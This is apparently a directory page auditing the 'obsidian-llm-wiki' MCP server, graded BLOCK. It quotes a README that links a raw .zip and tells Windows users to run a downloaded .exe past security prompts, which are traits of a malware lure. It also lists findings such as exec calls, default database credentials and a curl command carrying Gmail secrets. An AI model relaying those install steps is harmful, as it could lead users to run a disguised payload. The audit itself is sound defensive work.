obsidian-llm-wikiBLOCK
Convert your Obsidian markdown vault into a six-persona MCP team for local LLM tools to provide cited, accurate insights.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/Statutecontempt951/obsidian-llm-wiki/main/creatures/vault-janitor/obsidianllmwiki_v3.7.zip)
📌 What is this software?
The obsidian-llm-wiki software turns your personal notes into a powerful team of virtual assistants. It reads your markdown vault and creates a structured knowledge base. This base works with AI tools like Claude Code, Codex, and Gemini.
The software acts as a bridge. It takes the ideas you already wrote in Obsidian and lets AI models access them. These models use your specific information to answer questions. They cite your notes to prove their accuracy. They do not guess or halluciation facts. You gain a headless knowledge base that acts as a personal research expert.
🚀 System Requirements
Your computer must meet these basic standards to run this software:
- Windows 10 or Windows 11.
- A stable internet connection for the AI tools.
- At least 4GB of free hard drive space.
- An existing Obsidian vault with your notes.
📦 How to Install
Visit the official repository page to download the software.
- Click the link above to reach the main page.
- Look for the "Releases" section on the right side of the screen.
- Click the latest version link.
- Download the file ending in
.exefor Windows. - Save the file to your desktop.
Once the download finishes, double-click the file. Windows might show a security prompt. Click "Run" to continue. The installer will guide you through the setup. Choose a folder where you want to keep the application.
⚙️ Setting Up Your Vault
The software needs to read your notes to function. Follow these steps to connect your vault:
- Open the obsidian-llm-wiki application.
- Click the "Settings" tab.
- Locate the "V
0fccd2491969OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add mcp --env ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY} --env CIRCLEBACK_API_KEY=${CIRCLEBACK_API_KEY} --env FEISHU_APP_SECRET=${FEISHU_APP_SECRET} --env GMAIL_CLIENT_SECRET=${GMAIL_CLIENT_SECRET} -- npx -y @obsidian-llm-wiki/[email protected]{
"mcpServers": {
"mcp": {
"command": "npx",
"args": [
"-y",
"@obsidian-llm-wiki/[email protected]"
],
"env": {
"ANTHROPIC_API_KEY": "${ANTHROPIC_API_KEY}",
"CIRCLEBACK_API_KEY": "${CIRCLEBACK_API_KEY}",
"FEISHU_APP_SECRET": "${FEISHU_APP_SECRET}",
"GMAIL_CLIENT_SECRET": "${GMAIL_CLIENT_SECRET}"
}
}
}
}Exposed tools (5)
5 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
_TEST_VAULT_EMPTY | read | |
_TEST_VAULT_MISSING | read | |
_TEST_VAULT_PRESENT | read | |
_TEST_VAULT_TOKEN_A | read | test |
_TEST_VAULT_TOKEN_ABSENT | read | test |
Trust audit
BLOCKgrade D · trust 61/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (3 observation(s))
- Network
- declared (7 observation(s))
- Shell
- declared (7 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- found
Findings (20)
await exec(this.binary, ["--version"], { timeout: 5000 });const { stdout } = await exec(this.binary, args, {exec(sql: string): Promise<unknown>;
const { stdout } = await exec(this.python, [kbMeta, "diff", this.vaultPath, topic], {const { stdout, stderr } = await exec(this.python, args, {VOILE_DB_URL=postgres://postgres:postgres@localhost:5432/voile
--dsn $MEMU_DSN or postgresql://postgres:postgres@localhost:5432/memu
DEFAULT_DSN = "postgresql://postgres:postgres@localhost:5432/memu"
obsidian_llm_wiki_v3.7.zip
DEFAULT_OLLAMA_URL = "http://127.0.0.1:11434"
" --ollama-url URL default http://127.0.0.1:11434",
- PG: `postgresql://postgres:postgres@localhost:5432/memu` (1059 active gm_nodes, 3087 edges)
* MEMU_TEST_DSN=postgresql://postgres:postgres@localhost:5432/memu_test \
.env.domestic.example
const compilerPath = resolve(__dirname, "../../compiler");
@electric-sql/pglite, @modelcontextprotocol/sdk, @types/pg, pg, ws, @types/node, @types/ws, esbuild
- command: 'curl -sf -X POST https://oauth2.googleapis.com/token -d "client_id=$GMAIL_CLIENT_ID&client_secret=$GMAIL_CLIENT_SECRET&refresh_token=$GMAIL_REFRESH_TOKEN&grant_type=refresh_token" | grep -
mcp-server/bundle.js
1. Install NapCatQQ from https://github.com/NapNeko/NapCatQQ (follow release instructions for your QQNT version)
Add to your shell profile (`~/.bashrc`, `~/.zshrc`, or Windows environment variables):
Gates applied: no_behavioural_pass.
0fccd2491969full audit observations/trust-audit/mcp-server/statutecontempt951__obsidian-llm-wiki.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 0fccd2491969 | BLOCK | D | 61 | first audit |
Questions
What is the obsidian-llm-wiki MCP server?
Convert your Obsidian markdown vault into a six-persona MCP team for local LLM tools to provide cited, accurate insights.
What tools does obsidian-llm-wiki expose?
5 in total: 5 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is obsidian-llm-wiki safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (61/100) and found 8 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does obsidian-llm-wiki need?
It reads ANTHROPIC_API_KEY, CIRCLEBACK_API_KEY, FEISHU_APP_SECRET, GMAIL_CLIENT_SECRET, GMAIL_REFRESH_TOKEN, LINEAR_API_KEY, NAPCAT_TOKEN, OPENAI_API_KEY, VAULT_MIND_AUTH_TOKEN, WEFLOW_TOKEN and X_BEARER_TOKEN from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does obsidian-llm-wiki run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as @obsidian-llm-wiki/mcp at 0.1.0.
How current is this page?
The grade is for one exact copy of the source (0fccd2491969), read on 2026-10-11. The repository is watched and re-audited when it changes.